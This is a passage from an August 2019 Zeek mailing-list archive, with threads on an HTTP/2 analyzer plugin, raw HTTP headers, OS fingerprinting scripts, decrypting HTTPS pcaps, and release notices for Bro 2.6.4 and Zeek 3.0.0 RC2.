Only reason I believe that Palo is still sending it as HTTP/2 traffic is because the monitor tab has a ?HTTP/2 Connection Session ID? and each line entry that has a non-zero value for that field seems to be missing a corresponding log in Zeek.  Whereas anytime there?s a zero value in that column, presumably denoting HTTP/1.1 traffic, Zeek is able to analyze it successfully.

It?s not a big deal, but I was so excited to have Zeek analyze my decrypted traffic only to find that most of it is HTTP/2.  I suppose I?ll wait for the official analyzer or learn how to write one myself. :P

Thanks,
Eric


On Aug 21, 2019, at 1:09 PM, Khan, Murad A. <mkhan at mitre.org<mailto:mkhan at mitre.org>> wrote:

Afaik, the Palo?s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange ? so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.

You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ?h2?.


From: <zeek-bounces at zeek.org<mailto:zeek-bounces at zeek.org>> on behalf of Eric Ooi <ericooi at gmail.com<mailto:ericooi at gmail.com>>
Date: Wednesday, August 21, 2019 at 1:57 PM
To: "zeek at zeek.org<mailto:zeek at zeek.org>" <zeek at zeek.org<mailto:zeek at zeek.org>>
Subject: [EXT] [Zeek] HTTP/2 analyzer

Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2

I've installed it but it doesn't seem to generate any http2.log files.  I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.

Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P

Thanks!
Eric

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190821/3236e436/attachment.html 

From ericooi at gmail.com  Wed Aug 21 12:39:48 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Wed, 21 Aug 2019 14:39:48 -0500
Subject: [Zeek] [EXT]  HTTP/2 analyzer
In-Reply-To: <2DB4F7D9-6422-41DA-9CA0-745108C1CC03@mitre.org>
References: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
	<CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>
	<BCCC5FB7-A568-42F2-9E4E-291AB8829A37@gmail.com>
	<2DB4F7D9-6422-41DA-9CA0-745108C1CC03@mitre.org>
Message-ID: <5D3BB5E0-ADFD-4A2C-8D43-E89034A52780@gmail.com>

Thanks, Murad.  I just found the option in Palo Alto to force the downgrade to HTTP/1.1 and Zeek is now seeing that traffic, thanks for the tip.  I?ll still try to grab a PCAP of HTTP/2 traffic and see if I can open an issue.

> On Aug 21, 2019, at 1:54 PM, Khan, Murad A. <mkhan at mitre.org> wrote:
> 
> Weird. I?d recommend opening an issue on github, if you can. Ideally, if you can provide a pcap, it?ll help with troubleshooting. But there are other things we can check.
>  
>  
> From: Eric Ooi <ericooi at gmail.com>
> Date: Wednesday, August 21, 2019 at 2:40 PM
> To: Murad Khan <mkhan at mitre.org>
> Cc: "zeek at zeek.org" <zeek at zeek.org>
> Subject: Re: [EXT] [Zeek] HTTP/2 analyzer
>  
> Thanks, Murad! I checked ssl.log and do see a good amount of traffic with ?h2? listed, so it looks like I?m definitely seeing this on my network.
>  
> Only reason I believe that Palo is still sending it as HTTP/2 traffic is because the monitor tab has a ?HTTP/2 Connection Session ID? and each line entry that has a non-zero value for that field seems to be missing a corresponding log in Zeek.  Whereas anytime there?s a zero value in that column, presumably denoting HTTP/1.1 traffic, Zeek is able to analyze it successfully.
>  
> It?s not a big deal, but I was so excited to have Zeek analyze my decrypted traffic only to find that most of it is HTTP/2.  I suppose I?ll wait for the official analyzer or learn how to write one myself. :P
>  
> Thanks,
> Eric
>  
>  
>> On Aug 21, 2019, at 1:09 PM, Khan, Murad A. <mkhan at mitre.org <mailto:mkhan at mitre.org>> wrote:
>>  
>> Afaik, the Palo?s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange ? so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.
>>  
>> You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ?h2?.
>>  
>>  
>> From: <zeek-bounces at zeek.org <mailto:zeek-bounces at zeek.org>> on behalf of Eric Ooi <ericooi at gmail.com <mailto:ericooi at gmail.com>>
>> Date: Wednesday, August 21, 2019 at 1:57 PM
>> To: "zeek at zeek.org <mailto:zeek at zeek.org>" <zeek at zeek.org <mailto:zeek at zeek.org>>
>> Subject: [EXT] [Zeek] HTTP/2 analyzer
>>  
>> Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2 <https://github.com/MITRECND/bro-http2>
>>  
>> I've installed it but it doesn't seem to generate any http2.log files.  I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.
>>  
>> Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P
>>  
>> Thanks!
>> Eric

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190821/1c3143c8/attachment.html 

From akgraner at corelight.com  Fri Aug 23 15:50:20 2019
From: akgraner at corelight.com (Amber Graner)
Date: Fri, 23 Aug 2019 16:50:20 -0600
Subject: [Zeek] Zeek Week 2019 Agenda Now Available
Message-ID: <CAJhOzupBjmdqX7fQo5t5MHx_Z+eBOcCvEQ4vnt=1gMsUFKuw9Q@mail.gmail.com>

Hi all,

Most of the Zeek Week 2019 Agenda is now available at:
http://bit.ly/zeekweek19agenda

It's going to be a great line up with an Intro to Zeek Training workshop
the day before.

You have 3 participation options if you would like to attend:

1 - Workshop only (8 October)
2 - ZeekWeek Events Only (9-11 October)
3 - Workshop and ZeekWeek  (8-11 October)

You can choose your the option that is best for you when you register:
http://bit.ly/zeekweek19_registration

Hotel room rates are still at the event rate for a little while longer and
registration prices will go up at then end of the month so don't wait,
register today.

Please let me know if you have any questions and I hope to see you in
Seattle on 8-11 October, 2019.

Thanks,
~Amber


-- 

*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190823/964527ef/attachment.html 

From andrew at aklaus.ca  Sat Aug 24 21:32:40 2019
From: andrew at aklaus.ca (Andrew Klaus)
Date: Sat, 24 Aug 2019 22:32:40 -0600
Subject: [Zeek] Raw HTTP Headers
Message-ID: <CAGENE8sjSp5jhvgmmGD5Rny6XVc04A-85B5Da0owVL=sG50EDw@mail.gmail.com>

Hello,

I'd like to write a script for HTTP requests, but I need the raw and
untruncated headers to do this. I can't seem to find an event that will
give me this data to work with. I've looked at http_all_headers and
http_header, but they still strip whitespace.

Is there any (current) way of doing this? It'd be nice to be able to do
this without having to modify the analyzer.

Thanks!
Andrew
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190824/1f133582/attachment.html 

From ericooi at gmail.com  Mon Aug 26 10:55:06 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Mon, 26 Aug 2019 12:55:06 -0500
Subject: [Zeek] [EXT]  HTTP/2 analyzer
In-Reply-To: <5D3BB5E0-ADFD-4A2C-8D43-E89034A52780@gmail.com>
References: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
	<CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>
	<BCCC5FB7-A568-42F2-9E4E-291AB8829A37@gmail.com>
	<2DB4F7D9-6422-41DA-9CA0-745108C1CC03@mitre.org>
	<5D3BB5E0-ADFD-4A2C-8D43-E89034A52780@gmail.com>
Message-ID: <8353F690-2F89-40F0-8667-131B00FC31EC@gmail.com>

Just submitted ? https://github.com/MITRECND/bro-http2/issues/6 <https://github.com/MITRECND/bro-http2/issues/6>

> On Aug 21, 2019, at 2:39 PM, Eric Ooi <ericooi at gmail.com> wrote:
> 
> Thanks, Murad.  I just found the option in Palo Alto to force the downgrade to HTTP/1.1 and Zeek is now seeing that traffic, thanks for the tip.  I?ll still try to grab a PCAP of HTTP/2 traffic and see if I can open an issue.
> 
>> On Aug 21, 2019, at 1:54 PM, Khan, Murad A. <mkhan at mitre.org <mailto:mkhan at mitre.org>> wrote:
>> 
>> Weird. I?d recommend opening an issue on github, if you can. Ideally, if you can provide a pcap, it?ll help with troubleshooting. But there are other things we can check.
>>  
>>  
>> From: Eric Ooi <ericooi at gmail.com <mailto:ericooi at gmail.com>>
>> Date: Wednesday, August 21, 2019 at 2:40 PM
>> To: Murad Khan <mkhan at mitre.org <mailto:mkhan at mitre.org>>
>> Cc: "zeek at zeek.org <mailto:zeek at zeek.org>" <zeek at zeek.org <mailto:zeek at zeek.org>>
>> Subject: Re: [EXT] [Zeek] HTTP/2 analyzer
>>  
>> Thanks, Murad! I checked ssl.log and do see a good amount of traffic with ?h2? listed, so it looks like I?m definitely seeing this on my network.
>>  
>> Only reason I believe that Palo is still sending it as HTTP/2 traffic is because the monitor tab has a ?HTTP/2 Connection Session ID? and each line entry that has a non-zero value for that field seems to be missing a corresponding log in Zeek.  Whereas anytime there?s a zero value in that column, presumably denoting HTTP/1.1 traffic, Zeek is able to analyze it successfully.
>>  
>> It?s not a big deal, but I was so excited to have Zeek analyze my decrypted traffic only to find that most of it is HTTP/2.  I suppose I?ll wait for the official analyzer or learn how to write one myself. :P
>>  
>> Thanks,
>> Eric
>>  
>>  
>>> On Aug 21, 2019, at 1:09 PM, Khan, Murad A. <mkhan at mitre.org <mailto:mkhan at mitre.org>> wrote:
>>>  
>>> Afaik, the Palo?s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange ? so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.
>>>  
>>> You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ?h2?.
>>>  
>>>  
>>> From: <zeek-bounces at zeek.org <mailto:zeek-bounces at zeek.org>> on behalf of Eric Ooi <ericooi at gmail.com <mailto:ericooi at gmail.com>>
>>> Date: Wednesday, August 21, 2019 at 1:57 PM
>>> To: "zeek at zeek.org <mailto:zeek at zeek.org>" <zeek at zeek.org <mailto:zeek at zeek.org>>
>>> Subject: [EXT] [Zeek] HTTP/2 analyzer
>>>  
>>> Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2 <https://github.com/MITRECND/bro-http2>
>>>  
>>> I've installed it but it doesn't seem to generate any http2.log files.  I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.
>>>  
>>> Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P
>>>  
>>> Thanks!
>>> Eric
> 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190826/3c10403f/attachment.html 

From undicizeri at gmail.com  Tue Aug 27 01:33:18 2019
From: undicizeri at gmail.com (Federico Foschini)
Date: Tue, 27 Aug 2019 10:33:18 +0200
Subject: [Zeek] OS fingerprinting Status
Message-ID: <CAFRU1Xskx5kG1R6TE2d2O85GmkFAo5pvzmBarci4myu=5yU=yA@mail.gmail.com>

Hello,
Is there a way to fingerprinting operating systems in zeek?
I have done some testing using *OS_version_found* event
https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.bro.html#id-OS_version_found
and by modify this old script:
https://github.com/ewust/telex/blob/master/telex-station/station/bro-1.5.1/policy/OS-fingerprint.bro
But without much success.

I stumpled upon the (WIP) release notes from Zeek 3.1.0 and read the
following:

- Removed p0f (passive OS fingerprinting) support. The version of
  p0f shipped with zeek was ancient, probably did not give
  any reliable support anymore and did not offer a clear
  upgrade path. The ``OS_version_found`` event as well as the
  ``generate_OS_version_event`` configuration option were removed.

So I'm assuming my apprach it will be a failure.
Is there another way to get OS information? Are there some zeek scripts
that offer this functionality?
-- 
Federico Foschini.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190827/334eb9ce/attachment.html 

From vlad at es.net  Tue Aug 27 07:01:36 2019
From: vlad at es.net (Vlad Grigorescu)
Date: Tue, 27 Aug 2019 14:01:36 +0000
Subject: [Zeek] OS fingerprinting Status
In-Reply-To: <CAFRU1Xskx5kG1R6TE2d2O85GmkFAo5pvzmBarci4myu=5yU=yA@mail.gmail.com>
References: <CAFRU1Xskx5kG1R6TE2d2O85GmkFAo5pvzmBarci4myu=5yU=yA@mail.gmail.com>
Message-ID: <CAPqbkwsmg4YOB0PsMWm28XK3bqLsyBoE=dfNRc8tKNTvxoqZwg@mail.gmail.com>

Hi,

Yes, the p0f method has been retired since it was unreliable and, frankly,
wasn't taking advantage of Zeek's feature set.

There are some scripts that offer similar functionality, but which should
be much more reliable, for example:

https://github.com/zeek/zeek/blob/master/scripts/policy/frameworks/software/windows-version-detection.zeek
https://github.com/fatemabw/bro-scripts/blob/master/iPhone-detection.bro
https://github.com/fatemabw/bro-scripts/blob/master/Mac-version-detection.bro

  --Vlad


On Tue, Aug 27, 2019 at 8:35 AM Federico Foschini <undicizeri at gmail.com>
wrote:

> Hello,
> Is there a way to fingerprinting operating systems in zeek?
> I have done some testing using *OS_version_found* event
>
> https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.bro.html#id-OS_version_found
> and by modify this old script:
>
> https://github.com/ewust/telex/blob/master/telex-station/station/bro-1.5.1/policy/OS-fingerprint.bro
> But without much success.
>
> I stumpled upon the (WIP) release notes from Zeek 3.1.0 and read the
> following:
>
> - Removed p0f (passive OS fingerprinting) support. The version of
>   p0f shipped with zeek was ancient, probably did not give
>   any reliable support anymore and did not offer a clear
>   upgrade path. The ``OS_version_found`` event as well as the
>   ``generate_OS_version_event`` configuration option were removed.
>
> So I'm assuming my apprach it will be a failure.
> Is there another way to get OS information? Are there some zeek scripts
> that offer this functionality?
> --
> Federico Foschini.
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190827/d23c2173/attachment.html 

From seth at corelight.com  Tue Aug 27 18:02:30 2019
From: seth at corelight.com (Seth Hall)
Date: Tue, 27 Aug 2019 21:02:30 -0400
Subject: [Zeek] Raw HTTP Headers
In-Reply-To: <CAGENE8sjSp5jhvgmmGD5Rny6XVc04A-85B5Da0owVL=sG50EDw@mail.gmail.com>
References: <CAGENE8sjSp5jhvgmmGD5Rny6XVc04A-85B5Da0owVL=sG50EDw@mail.gmail.com>
Message-ID: <0E7C4B4E-BF3B-43F9-8737-553A1581F6E8@corelight.com>

I believe that this isn't available since (as your already discovered), 
the analyzer strips whitespace.  The only option would be to modify the 
analyzer or write a new one.

   .Seth

On 25 Aug 2019, at 0:32, Andrew Klaus wrote:

> Hello,
>
> I'd like to write a script for HTTP requests, but I need the raw and
> untruncated headers to do this. I can't seem to find an event that 
> will
> give me this data to work with. I've looked at http_all_headers and
> http_header, but they still strip whitespace.
>
> Is there any (current) way of doing this? It'd be nice to be able to 
> do
> this without having to modify the analyzer.
>
> Thanks!
> Andrew
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek

--
Seth Hall * Corelight, Inc * www.corelight.com

From andrew at aklaus.ca  Tue Aug 27 19:01:52 2019
From: andrew at aklaus.ca (Andrew Klaus)
Date: Tue, 27 Aug 2019 20:01:52 -0600
Subject: [Zeek] Raw HTTP Headers
In-Reply-To: <0E7C4B4E-BF3B-43F9-8737-553A1581F6E8@corelight.com>
References: <CAGENE8sjSp5jhvgmmGD5Rny6XVc04A-85B5Da0owVL=sG50EDw@mail.gmail.com>
	<0E7C4B4E-BF3B-43F9-8737-553A1581F6E8@corelight.com>
Message-ID: <CAGENE8vZoo0stN_bcAjewrT7-P0xQ1VBJTwuwCA3hkfevq4UHw@mail.gmail.com>

Thanks Seth!

I was hoping to have a new Zeek script written for the Zeek contest, but it
doesn't look like modules that need source code modifications will be
considered.

Andrew

On Tue, Aug 27, 2019 at 7:02 PM Seth Hall <seth at corelight.com> wrote:

> I believe that this isn't available since (as your already discovered),
> the analyzer strips whitespace.  The only option would be to modify the
> analyzer or write a new one.
>
>    .Seth
>
> On 25 Aug 2019, at 0:32, Andrew Klaus wrote:
>
> > Hello,
> >
> > I'd like to write a script for HTTP requests, but I need the raw and
> > untruncated headers to do this. I can't seem to find an event that
> > will
> > give me this data to work with. I've looked at http_all_headers and
> > http_header, but they still strip whitespace.
> >
> > Is there any (current) way of doing this? It'd be nice to be able to
> > do
> > this without having to modify the analyzer.
> >
> > Thanks!
> > Andrew
> > _______________________________________________
> > Zeek mailing list
> > zeek at zeek.org
> > http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>
> --
> Seth Hall * Corelight, Inc * www.corelight.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190827/56971b3a/attachment.html 

From ambros.novak.89 at gmail.com  Wed Aug 28 12:45:23 2019
From: ambros.novak.89 at gmail.com (Ambros Novak)
Date: Wed, 28 Aug 2019 15:45:23 -0400
Subject: [Zeek] extract URLs from emails, web pages, and documents
Message-ID: <CAHifxyA7098LA7NEKeR1c-+V8=TXpMrTOAu2HQ+s+MwxyX49ow@mail.gmail.com>

Hola!

How can URLs be extracted from SMTP emails, HTTP pages and files?
Is there an analyzer or option that needs to be loaded or enabled?

Side question --- is the an analyzer for JSON requests?

Thank you for your help.

Ambros
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190828/40c0ee13/attachment.html 

From jburgess03 at qub.ac.uk  Wed Aug 28 14:22:14 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Wed, 28 Aug 2019 21:22:14 +0000
Subject: [Zeek] Decryption of HTTP traffic
Message-ID: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi,

When feeding PCAPs to Zeek, is there any functionality to decrypt HTTPS traffic?

I see that the SSL log contains ?a record of SSL sessions, including certificates being used? -  can these certificates be used to decrypt PCAPs before Zeek processes them to ensure HTTP logs are correctly populated?

Thanks,
Jonah
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190828/16090a61/attachment.html 

From vlad at es.net  Wed Aug 28 14:28:02 2019
From: vlad at es.net (Vlad Grigorescu)
Date: Wed, 28 Aug 2019 21:28:02 +0000
Subject: [Zeek] Decryption of HTTP traffic
In-Reply-To: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <CAPqbkwvyCkNYeYGbYLJQ2_BVxdw=t7mKMPh5ZedWpGZaOr5tCg@mail.gmail.com>

No.

On Wed, Aug 28, 2019 at 9:25 PM Jonah Burgess <jburgess03 at qub.ac.uk> wrote:

> Hi,
>
>
>
> When feeding PCAPs to Zeek, is there any functionality to decrypt HTTPS
> traffic?
>
>
>
> I see that the SSL log contains ?a record of SSL sessions, including
> certificates being used? -  can these certificates be used to decrypt PCAPs
> before Zeek processes them to ensure HTTP logs are correctly populated?
>
>
>
> Thanks,
>
> Jonah
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190828/f9a4736c/attachment.html 

From johanna at icir.org  Wed Aug 28 14:32:08 2019
From: johanna at icir.org (Johanna Amann)
Date: Wed, 28 Aug 2019 14:32:08 -0700
Subject: [Zeek] Decryption of HTTP traffic
In-Reply-To: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <D0D321E6-1981-4DC4-B297-73F72F2042CC@icir.org>

Hi Jonah,

> When feeding PCAPs to Zeek, is there any functionality to decrypt 
> HTTPS traffic?

No, sorry, we don?t have that functionality.

> I see that the SSL log contains ?a record of SSL sessions, including 
> certificates being used? -  can these certificates be used to 
> decrypt PCAPs before Zeek processes them to ensure HTTP logs are 
> correctly populated?

No, the certificates only contain the public keys, not the private keys.

For the moment you will have to use other software to decrypt the 
traffic in pcaps (if you have the pcaps and the keys of the sessions). 
Wireshark has a bit of functionality to do this, for example.

Johanna

From jsiwek at corelight.com  Wed Aug 28 17:16:14 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Wed, 28 Aug 2019 17:16:14 -0700
Subject: [Zeek] Bro 2.6.4 release (security update)
Message-ID: <CAMzgZ0+CLNiJYG-fm1cnX2vRh==q6Gthv++-nDKmRWyXhXVS-g@mail.gmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A security patch release, Bro v2.6.4, is now available for
download:

  https://www.zeek.org/downloads/bro-2.6.4.tar.gz
  https://www.zeek.org/downloads/bro-2.6.4.tar.gz.asc

Bro v2.6.4 addresses a potential Denial of Service
vulnerability:

* The NTLM analyzer did not properly handle AV Pair sequences
  that were either empty or unterminated, resulting in invalid
  memory access or heap buffer over-read.  The NTLM analyzer
  is enabled by default and used in the analysis of SMB,
  DCE/RPC, and GSSAPI protocols.

  Thanks to Chris Hinshaw for reporting the issue.

-----BEGIN PGP SIGNATURE-----

iQIzBAEBAgAdFiEE6WkLK32KwaGfkhxKxotJTfVqzH4FAl1nE/kACgkQxotJTfVq
zH6Few//S2ErQbxV2StBTRECbX7BeAOZy9y+UYhH1BYCQuYLplhdg+Slgj1cPxas
y0Tkm8B6EX8uBcAX3QRzui+bZvwVtlJDo3sGAAkjiLAK6djf8ix1i9aAZgfzi7/I
yiACWnpXe+2r3/XN020uoL8LQk7M0GZ7g3v6WMykdncCortneEVuQGPjb9lbXQ7B
f5KYXaThV53t6axHBhnbMwEtiXzJQ/uWAwDd+owpuWYl7DpeVZ3WL3iGzaEsA66T
pY6mjElOjeaHI4ttmdMsjbrxyseC+bhnlY5Q4NB9RJtQwbKjoP/FPwvOvD1qD3mD
2hY5h7t+GzENr3XHiuidmJvYRYrTn6wQLw5c6WL1Qs7raBdpRfpCmadrIYLYJVkY
TnTc/8BO4Pu09pGoQB6JiCOdt4Q452RJkrEt7LcOmWYOLBThXGYejM/PvKkdWsft
sGJ4bpsxKQoTWVLKKXTSnVvbwaDahyHl4/YZ776FEtBh5BTY4fHZw/GmwnbxEbDC
dp7gZ3GvhIQwOzrofm3T5aX3AvIZglZcDTwwRYyQ8d8ZZ/s/HCE4GNX3JTjZCxlx
ebKC9n5F+F6PSOdpeLsC7z9fT5/WPJHW9hxAhT5mHUToGeYohp6jqb+OAgHR0nXr
aonvtN4Y/5MC4Ink+PAxHUdW228e9bv3Bxe7/0kCITeEBU6zX8Q=
=Biua
-----END PGP SIGNATURE-----

From jsiwek at corelight.com  Wed Aug 28 17:17:55 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Wed, 28 Aug 2019 17:17:55 -0700
Subject: [Zeek] Zeek 3.0.0 RC2 available
Message-ID: <CAMzgZ0Lzv4PJj9mAcHYVFawu2WD10VefyAYabNEW4SE5ufP25Q@mail.gmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Release Candidate 2 for Zeek 3.0.0 is now available for
testing:

  https://www.zeek.org/downloads/zeek-3.0.0-rc2.tar.gz
  https://www.zeek.org/downloads/zeek-3.0.0-rc2.tar.gz.asc

See the CHANGES file for a list of changes since RC1.

This major release will have many additions and changes, the
most prominent being a comprehensive adaptation to use Zeek
instead of Bro.  See the NEWS file for the full list of
important differences to be aware of when upgrading and testing.
Our blog also describes the upcoming release and potential
issues when upgrading:

  https://blog.zeek.org

Please report bugs at our GitHub project:

  https://github.com/zeek/zeek/issues

Or feel free to give feedback directly on the Zeek mailing list.

-----BEGIN PGP SIGNATURE-----

iQIzBAEBAgAdFiEE6WkLK32KwaGfkhxKxotJTfVqzH4FAl1nE94ACgkQxotJTfVq
zH4i9g//bPeNtIckaFzdRJqevLqqj4H4TU6CWPnKaELVV0GljFcmuFzfMA4W35yx
xFDUKOxUcIgLoQ79mhOm2x3VOaSpKmSz/8BXII5fvSshQ70CkNeTfOr79SQZ+Lvb
wPTmq96y2UxSanPH4NanUO7AnI3o7rw9Fu8QGB0MgE0a9Cn1iPaE4dBA4ivAjrI1
JhLqMcuA7hLYwJSkPG3XjJTLumtELsiXxL8LLmbCKQDPYLm6gLSMTKq4p9n8+zo0
GJ/ltwPwmsSYcgmhiifEcVns/HpU7qLEI4uP5XnHQ5Fcgvmu7BPvxA5eV6ZwafxP
5u2rYiPyC6n5qOOiS/mvMP0Y39H8XDC2Oa6TJ+xy0fC5BHYPCBhRcBNlz31Fp8UR
2k1AMAMh+9pSEBz5c7F18H38zblt+swxbp/wN7D+Mg4gwX0qMP1ZUwuGzcYiT5mf
Of5rUh2kZa1emrjBMqBe85hpd2Yfn6kvSjwqVeoYoMqgMBb3yhmQPH/itqBq/T1M
G9ULuLB8rYRGvwD5DEnPRqzaXP8T0GGAP+1WNTEZxIL8vD6Ksw/oon1h+odTCtT8
zu68Jl/2nDCk7Y6kiHr6x5cOVOT0yEPvc5JlRgb9ZWWuWvvqujJI8aHqzLwiz9Wo
XYKwpgroPGijax95pr8Y7Jzgqmcm66GPyBnRaNWXg2bohGOMycg=
=8xcQ
-----END PGP SIGNATURE-----

From ericooi at gmail.com  Wed Aug 28 18:49:24 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Wed, 28 Aug 2019 20:49:24 -0500
Subject: [Zeek] Decryption of HTTP traffic
In-Reply-To: <D0D321E6-1981-4DC4-B297-73F72F2042CC@icir.org>
References: <AM6PR07MB53035B950E71AE81956C54138EA30@AM6PR07MB5303.eurprd07.prod.outlook.com>
	<D0D321E6-1981-4DC4-B297-73F72F2042CC@icir.org>
Message-ID: <B35F2B23-A820-4A1A-B5EC-D08BF9760D78@gmail.com>

As someone who just started sending decrypted traffic to Zeek, I recommend also installing MITRE?s bro-http2 (https://github.com/MITRECND/bro-http2 <https://github.com/MITRECND/bro-http2>) plugin, since you?ll find a lot of today's encrypted traffic is HTTP/2.

> On Aug 28, 2019, at 4:32 PM, Johanna Amann <johanna at icir.org> wrote:
> 
> Hi Jonah,
> 
>> When feeding PCAPs to Zeek, is there any functionality to decrypt 
>> HTTPS traffic?
> 
> No, sorry, we don?t have that functionality.
> 
>> I see that the SSL log contains ?a record of SSL sessions, including 
>> certificates being used? -  can these certificates be used to 
>> decrypt PCAPs before Zeek processes them to ensure HTTP logs are 
>> correctly populated?
> 
> No, the certificates only contain the public keys, not the private keys.
> 
> For the moment you will have to use other software to decrypt the 
> traffic in pcaps (if you have the pcaps and the keys of the sessions). 
> Wireshark has a bit of functionality to do this, for example.
> 
> Johanna
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190828/0d907614/attachment.html 

From seth at corelight.com  Thu Aug 29 05:36:24 2019
From: seth at corelight.com (Seth Hall)
Date: Thu, 29 Aug 2019 08:36:24 -0400
Subject: [Zeek] Raw HTTP Headers
In-Reply-To: <CAGENE8vZoo0stN_bcAjewrT7-P0xQ1VBJTwuwCA3hkfevq4UHw@mail.gmail.com>
References: <CAGENE8sjSp5jhvgmmGD5Rny6XVc04A-85B5Da0owVL=sG50EDw@mail.gmail.com>
	<0E7C4B4E-BF3B-43F9-8737-553A1581F6E8@corelight.com>
	<CAGENE8vZoo0stN_bcAjewrT7-P0xQ1VBJTwuwCA3hkfevq4UHw@mail.gmail.com>
Message-ID: <690314B1-FF9F-45A0-984F-458BBC06275C@corelight.com>

Aw!  Sorry to hear that.  It's equally frustrating for us when people 
run into problems that can't be fixed merely with scripts.  Hopefully in 
the future we'll have a better solution for you.  Hopefull you can 
figure out a different approach or some other script for the contest!

   .Seth

On 27 Aug 2019, at 22:01, Andrew Klaus wrote:

> Thanks Seth!
>
> I was hoping to have a new Zeek script written for the Zeek contest, 
> but it
> doesn't look like modules that need source code modifications will be
> considered.
>
> Andrew
>
> On Tue, Aug 27, 2019 at 7:02 PM Seth Hall <seth at corelight.com> wrote:
>
>> I believe that this isn't available since (as your already 
>> discovered),
